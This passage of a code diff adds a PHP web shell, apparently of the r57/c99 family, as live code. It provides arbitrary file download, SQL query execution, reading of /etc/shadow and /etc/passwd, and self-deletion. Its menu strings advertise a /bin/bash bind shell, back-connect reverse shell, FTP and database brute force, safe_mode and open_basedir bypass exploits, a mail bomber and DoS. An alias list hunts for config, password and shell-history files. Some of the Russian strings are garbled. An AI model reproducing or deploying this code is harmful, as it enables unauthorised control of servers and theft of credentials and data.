break; + default: + return 0; + break; + } + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if($file=@fopen($_POST['d_name'],"r")){ $filedump = @fread($file,@filesize($_POST['d_name'])); @fclose($file); } + else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; } + if(isset($_POST['cmd'])) + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#e4e0d8>'; + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(__FILE__); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + @unlink("/tmp/prxpl"); + @unlink("/tmp/grep.txt"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } + +if(isset($_GET['dmesg(8)'])) + {$_POST['cmd'] = 'dmesg(8)';} +if(isset($_GET['free'])) + {$_POST['cmd'] = 'free';} +if(isset($_GET['vmstat'])) + {$_POST['cmd'] = 'vmstat';} +if(isset($_GET['lspci'])) + {$_POST['cmd'] = 'lspci';} +if(isset($_GET['lsdev'])) + {$_POST['cmd'] = 'lsdev';} +if(isset($_GET['procinfo'])) + {$_POST['cmd']='cat /proc/cpuinfo';} +if(isset($_GET['version'])) + {$_POST['cmd']='cat /proc/version';} +if(isset($_GET['interrupts'])) + {$_POST['cmd']='cat /proc/interrupts';} +if(isset($_GET['realise1'])) + {$_POST['cmd'] = 'cat /etc/*realise';} +if(isset($_GET['service'])) + {$_POST['cmd'] = 'service --status-all';} +if(isset($_GET['ifconfig'])) + {$_POST['cmd'] = 'ifconfig';} +if(isset($_GET['w'])) + {$_POST['cmd'] = 'w';} +if(isset($_GET['who'])) + {$_POST['cmd'] = 'who';} +if(isset($_GET['uptime'])) + {$_POST['cmd'] = 'uptime';} +if(isset($_GET['last'])) + {$_POST['cmd'] = 'last -n 10';} +if(isset($_GET['psaux'])) + {$_POST['cmd'] = 'ps -aux';} +if(isset($_GET['netstat'])) + {$_POST['cmd'] = 'netstat -a';} +if(isset($_GET['lsattr'])) + {$_POST['cmd'] = 'lsattr -va';} +if(isset($_GET['syslog'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';} +if(isset($_GET['fstab'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';} +if(isset($_GET['fdisk'])) + {$_POST['cmd'] = 'fdisk -l';} +if(isset($_GET['df'])) + {$_POST['cmd'] = 'df -h';} +if(isset($_GET['realise2'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';} +if(isset($_GET['hosts'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';} +if(isset($_GET['resolv'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';} +if(isset($_GET['systeminfo'])) + {$_POST['cmd'] = 'systeminfo';} +if(isset($_GET['shadow'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';} +if(isset($_GET['passwd'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';} +#if(isset($_GET[''])) +# {$_POST['cmd'] = '';} + +$lang=array( +'ru_text1' =>'A����????�? ��?�??�', +'ru_text2' =>'A����???�? ��?�?? ?� ???�???', +'ru_text3' =>'A����?�?� ��?�???', +'ru_text4' =>'?�?���? ?�??�?�?�?', +'ru_text5' =>'C�???��� ������ ?� ???�??', +'ru_text6' =>'E�����?�� ����', +'ru_text7' =>'A���?�', +'ru_text8' =>'A�???�?? ����?', +'ru_butt1' =>'A����?�?�', +'ru_butt2' =>'C�???��?�', +'ru_text9' =>'I?�?�?�? ��??� � �?��?��� ??� � /bin/bash', +'ru_text10'=>'I?�?�?� ��??', +'ru_text11'=>'I�?��� ?�? ?�???��', +'ru_butt3' =>'I?�?�?�', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-�????', +'ru_text14'=>'I�??', +'ru_butt4' =>'A����?�?�', +'ru_text15'=>'C�???��� ������ ? ??��???�?� ???�??�', +'ru_text16'=>'E?��������?�', +'ru_text17'=>'??��???�� ����', +'ru_text18'=>'E�����?�� ����', +'ru_text19'=>'Exploits', +'ru_text20'=>'E?��������?�', +'ru_text21'=>'?���? �??', +'ru_text22'=>'datapipe', +'ru_text23'=>'E�����?�� ��??', +'ru_text24'=>'??��???�� ?�??', +'ru_text25'=>'??��???�� ��??', +'ru_text26'=>'E?��������?�', +'ru_butt5' =>'C��???�?�', +'ru_text28'=>'?�?�?� � safe_mode', +'ru_text29'=>'?�???� ���??�??', +'ru_butt6' =>'????�?�', +'ru_text30'=>'I?�??�?? �����', +'ru_butt7' =>'A��???�', +'ru_text31'=>'O��� ?? ?��???', +'ru_text32'=>'A����???�? PHP ��?�', +'ru_text33'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir �???� �??�?�� cURL (PHP <= 4.4.2, 5.1.4)', +'ru_butt8' =>'I?��??�?�', +'ru_text34'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode �???� �??�?�? include', +'ru_text35'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode �???� ��???��? ����� � mysql', +'ru_text36'=>'?��� . ?�?��?�', +'ru_text37'=>'E�?�?', +'ru_text38'=>'I�?���', +'ru_text39'=>'?���', +'ru_text40'=>'?�?� ?�?��?� ?��� ?�??�?', +'ru_butt9' =>'?�?�', +'ru_text41'=>'?�??�?�?� � ����?', +'ru_text42'=>'???��?�?���?�? �����', +'ru_text43'=>'???��?�?���?� ����', +'ru_butt10'=>'?�??�?�?�', +'ru_butt11'=>'???��?�?���?�', +'ru_text44'=>'???��?�?���?�? ����� ??���?�??�! ?�???� ?����� ?�? �???�?!', +'ru_text45'=>'O��� ?�??�???', +'ru_text46'=>'I?�??�?? phpinfo()', +'ru_text47'=>'I?�??�?? ?�???�?� php.ini', +'ru_text48'=>'??��??�? �??????�? ������', +'ru_text49'=>'??��??�? ?�?��?� ? ???�??�', +'ru_text50'=>'E?��??�?�? � �?�????�??', +'ru_text51'=>'E?��??�?�? � ��???�', +'ru_text52'=>'??�?? ?�? ���?��', +'ru_text53'=>'E?��?� � ����?', +'ru_text54'=>'I��?� ??�??� � �����?', +'ru_butt12'=>'?��?�', +'ru_text55'=>'?����� � �����?', +'ru_text56'=>'?��??� ?? ?��???�', +'ru_text57'=>'?��?�?�/??���?� O���/?�??�?�?�?', +'ru_text58'=>'E??', +'ru_text59'=>'O���', +'ru_text60'=>'?�??�?�?�?', +'ru_butt13'=>'?��?�?�/??���?�', +'ru_text61'=>'O��� ?��?�?', +'ru_text62'=>'?�??�?�?�? ?��?�?�', +'ru_text63'=>'O��� ??��??', +'ru_text64'=>'?�??�?�?�? ??��??�', +'ru_text65'=>'?��?�?�', +'ru_text66'=>'??���?�', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'E�?�??�', +'ru_text69'=>'I�?�????1', +'ru_text70'=>'I�?�????2', +'ru_text71'=>"A?�?�� ��?�???? ��?�??�:\r\n- ?�? CHOWN - �?? ?���?� ��������??�? ��� ??� UID (��?��?) \r\n- ?�? ��?�??� CHGRP - �?? ???��� ��� GID (��?��?) \r\n- ?�? ��?�??� CHMOD - ??��? ��?�� � ��?�???��?�? �?????���??�� (?��?�??? 0777)", +'ru_text72'=>'??�?? ?�? ���?��', +'ru_text73'=>'E?��?� � ����?', +'ru_text74'=>'E?��?� � �����?', +'ru_text75'=>'* ?�??� �?��������?� ????�???�? ��?�???�?', +'ru_text76'=>'I��?� ??�??� � �����? ? ��?���? ??���?� find', +'ru_text80'=>'?��', +'ru_text81'=>'???�', +'ru_text82'=>'?��� ?�??�?', +'ru_text83'=>'A����???�? SQL ���?�?�', +'ru_text84'=>'SQL ���?�?', +'ru_text85'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode �???� �����???�? ��?�?? � MSSQL ???�???', +'ru_text86'=>'?������?�? ����� ? ???�??�', +'ru_butt14'=>'?����?�', +'ru_text87'=>'?������?�? ������ ? ??��???�?� ftp-???�??�', +'ru_text88'=>'???�??:��??', +'ru_text89'=>'O��� ?� ftp ???�???', +'ru_text90'=>'???�? �????���', +'ru_text91'=>'A??���?���?� �', +'ru_text92'=>'??� �??��.', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????��??', +'ru_text95'=>'?��?�� ��������??�?�', +'ru_text96'=>'?? ??���?� ���?��?� ?��?�� ��������??�?�', +'ru_text97'=>'I?��????� ��??�?�?��: ', +'ru_text98'=>'??��?�? ��?��?�??��: ', +'ru_text99'=>'/etc/passwd', +'ru_text100'=>'I?�?���� ������ ?� ??��???�� �?� ???�??', +'ru_text101'=>'�???�?????�? (user -> resu)', +'ru_text102'=>'I��?�', +'ru_text103'=>'I?�?���� ��?�?�', +'ru_text104'=>'I?�?���� ����� ?� ���?���� ?���', +'ru_text105'=>'E�??', +'ru_text106'=>'I?', +'ru_text107'=>'???�', +'ru_butt15'=>'I?�?���?�', +'ru_text108'=>'??�?? ��?�?�', +'ru_text109'=>'?�?????�', +'ru_text110'=>'?���?????�', +'ru_text111'=>'SQL-???�?? : ��??', +'ru_text112'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode �???� �?��������?�? �??�?�� mb_send_mail (PHP <= 4.0-4.2.2, 5.x)', +'ru_text113'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode, �?�??�?? ��??�??� ?�??�?�?�� ? �?��������?�?? imap_list (PHP <= 5.1.2)', +'ru_text114'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode, �?�??�?? ?�????�?�?� ����� ? �?��������?�?? imap_body (PHP <= 5.1.2)', +'ru_text115'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode, ����?���?�? ������ ? [compress.zlib://] (PHP <= 4.4.2, 5.1.2)', +'ru_text116'=>'E���?���?� ����', +'ru_text117'=>'�', +'ru_text118'=>'O��� ?����?���?', +'ru_text119'=>'?? ??���?� ?����?���?� ����', +'ru_text120'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� safe_mode, �?�??�?? ?�????�?�?� ����� ? �?��������?�?? ini_restore (PHP <= 4.4.4, 5.1.6) By KingDefacer', +'ru_text121'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, �?�??�?? ��??�??� ?�??�?�?�� ? �?��������?�?? fopen (PHP v4.4.0 memory leak) By KingDefacer', +'ru_text122'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, �?�??�?? ��??�??� ?�??�?�?�� ? �?��������?�?? glob (PHP <= 5.2.x)', +'ru_text123'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, �???�? *.bzip �??��� [compress.bzip2://] (PHP <= 5.2.1)', +'ru_text124'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, ?�����?� ������ ? error_log[php://] (PHP <= 5.1.4, 4.4.2)', +'ru_text125'=>'?�??�?', +'ru_text126'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, ?��?�?�? ����� ????�� ? ?�??�?�[NULL-byte] (PHP <= 5.2.0)', +'ru_text127'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, ?�����?� ������ ? readfile[php://] (PHP <= 5.2.1, 4.4.4)', +'ru_text128'=>'?�?� ��?????�?\?�???��(touch)', +'ru_text129'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, ?��?�?�? ����� ? fopen[srpath://] (PHP v5.2.0)', +'ru_text130'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, �???�? *.zip �??��� [zip://] (PHP <= 5.2.1)', +'ru_text131'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, �?�??�?? ?�????�?�?� ����� ? �?��������?�?? symlink() (PHP <= 5.2.1)', +'ru_text132'=>'I?��??�� ���?�??�??� �??�?� �??�?��??�� open_basedir, �?�??�?? ��??�??� ?�??�?�?�� ? �?��������?�?? symlink() (PHP <= 5.2.1)', +'ru_text133'=>'', +'ru_text134'=>'????��?? ?�� ?�??�?', +'ru_text135'=>'?����?�', +'ru_text136'=>'?��?�?�? ?�?����?�� ??����', +'ru_text137'=>'I��?�?�?', +'ru_text138'=>'I��??�?', +'ru_text139'=>'?���-?�????', +'ru_text140'=>'DoS', +'ru_text141'=>'I??�?�??�! A��?�??? �?�? A??-???��?�.', +'ru_err0'=>'I?�?��! ?? ?�?? ����?�?� � ���� ', +'ru_err1'=>'I?�?��! ?? ?�?? �?���?�?� ���� ', +'ru_err2'=>'I?�?��! ?? ??���?� ?��?�?� ', +'ru_err3'=>'I?�?��! ?? ??���?� ��?��?��?�?? � ftp ???�???', +'ru_err4'=>'I?�?�� ��?�?���?�� ?� ftp ???�???', +'ru_err5'=>'I?�?��! ?? ??���?� ��?????� ?�??�?�?�? ?� ftp ???�???', +'ru_err6'=>'I?�?��! ?? ??���?� �?�?���?� ��?�?�', +'ru_err7'=>'I�?�?� �?�?���??�', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without arch.', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'/etc/passwd', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu)', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)', +'eng_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) By KingDefacer', +'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) By KingDefacer', +'eng_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)', +'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'eng_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)', +'eng_text125'=>'Data', +'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'eng_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)', +'eng_text128'=>'Modify/Access date(touch)', +'eng_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)', +'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'eng_text133'=>'', +'eng_text134'=>'Database-bruteforce', +'eng_text135'=>'Dictionary', +'eng_text136'=>'Creating evil symlink', +'eng_text137'=>'Useful', +'eng_text138'=>'Dangerous', +'eng_text139'=>'Mail Bomber', +'eng_text140'=>'DoS', +'eng_text141'=>'Danger! Web-daemon crash possible.', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +); +/* +A���?� ��?�?? +I�����??? ��???�?� ??�?��?�??�?� ?�?�?� �??�? � ???-?? ��?�??. ( ???��?� ?��?�?�?? ?�?� �?�?�??�� �??� ) +A� ?�???? ?�?� ?�?���??� ��� ��?????� ��?�??�. +*/ +$aliases=array( +'----------------------------------locate'=>'', +'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt', +'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> 